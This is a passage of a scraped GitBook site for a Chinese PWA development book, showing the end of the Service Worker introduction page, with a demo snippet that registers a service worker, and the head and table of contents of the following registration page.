class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.register(&apos;./sw.js&apos;)\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h2 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h2>\n<p>&#x672C;&#x8282;&#x4ECB;&#x7ECD;&#x4E86; Service Worker &#x7684;&#x4E00;&#x4E9B;&#x57FA;&#x672C;&#x6982;&#x5FF5;&#x548C; Service Worker &#x7684;&#x4E00;&#x4E9B;&#x80CC;&#x666F;&#x548C;&#x529F;&#x80FD;&#xFF0C;&#x4F46;&#x662F;&#x5BF9;&#x6CE8;&#x518C;&#x7684;&#x7EC6;&#x8282;&#xFF0C;Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x7B49;&#x7EC6;&#x8282;&#x6CA1;&#x6709;&#x505A;&#x6DF1;&#x5165;&#x4ECB;&#x7ECD;&#xFF0C;&#x8FD9;&#x4E9B;&#x5185;&#x5BB9;&#x5BF9;&#x4E8E;&#x4F7F;&#x7528; Service Worker &#x5BF9; Web App &#x8FDB;&#x884C;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x5904;&#x7406;&#x6709;&#x91CD;&#x8981;&#x4F5C;&#x7528;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x7AE0;&#x8282;&#x5C06;&#x4F1A;&#x5BF9; Service Worker &#x7684;&#x8FD9;&#x4E9B;&#x7EC6;&#x8282;&#x505A;&#x66F4;&#x52A0;&#x8BE6;&#x7EC6;&#x7684;&#x4ECB;&#x7ECD;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter04.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第4章 Service Worker\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-service-worker-register.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 4.2 Service Worker 注册\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"4.1 Service Worker 简介\",\"level\":\"1.5.1\",\"depth\":2,\"next\":{\"title\":\"4.2 Service Worker 注册\",\"level\":\"1.5.2\",\"depth\":2,\"path\":\"chapter04/2-service-worker-register.md\",\"ref\":\"chapter04/2-service-worker-register.md\",\"articles\":[]},\"previous\":{\"title\":\"第4章 Service Worker\",\"level\":\"1.5\",\"depth\":1,\"path\":\"chapter04.md\",\"ref\":\"chapter04.md\",\"articles\":[{\"title\":\"4.1 Service Worker 简介\",\"level\":\"1.5.1\",\"depth\":2,\"path\":\"chapter04/1-service-worker-introduction.md\",\"ref\":\"chapter04/1-service-worker-introduction.md\",\"articles\":[]},{\"title\":\"4.2 Service Worker 注册\",\"level\":\"1.5.2\",\"depth\":2,\"path\":\"chapter04/2-service-worker-register.md\",\"ref\":\"chapter04/2-service-worker-register.md\",\"articles\":[]},{\"title\":\"4.3 Service Worker 工作原理\",\"level\":\"1.5.3\",\"depth\":2,\"path\":\"chapter04/3-service-worker-dive.md\",\"ref\":\"chapter04/3-service-worker-dive.md\",\"articles\":[]},{\"title\":\"4.4 Service Worker 调试\",\"level\":\"1.5.4\",\"depth\":2,\"path\":\"chapter04/4-service-worker-debug.md\",\"ref\":\"chapter04/4-service-worker-debug.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter04/1-service-worker-introduction.md\",\"mtime\":\"2019-06-19T10:37:42.143Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter04/2-service-worker-register.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>4.2 Service Worker 注册 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-service-worker-dive.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-service-worker-introduction.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"1-service-worker-introduction.html\">\n            \n                <a href=\"1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.5.2\" data-path=\"2-service-worker-register.html\">\n            \n                <a href=\"2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"3-service-worker-dive.html\">\n            \n                <a href=\"3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"4-service-worker-debug.html\">\n            \n                <a href=\"4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        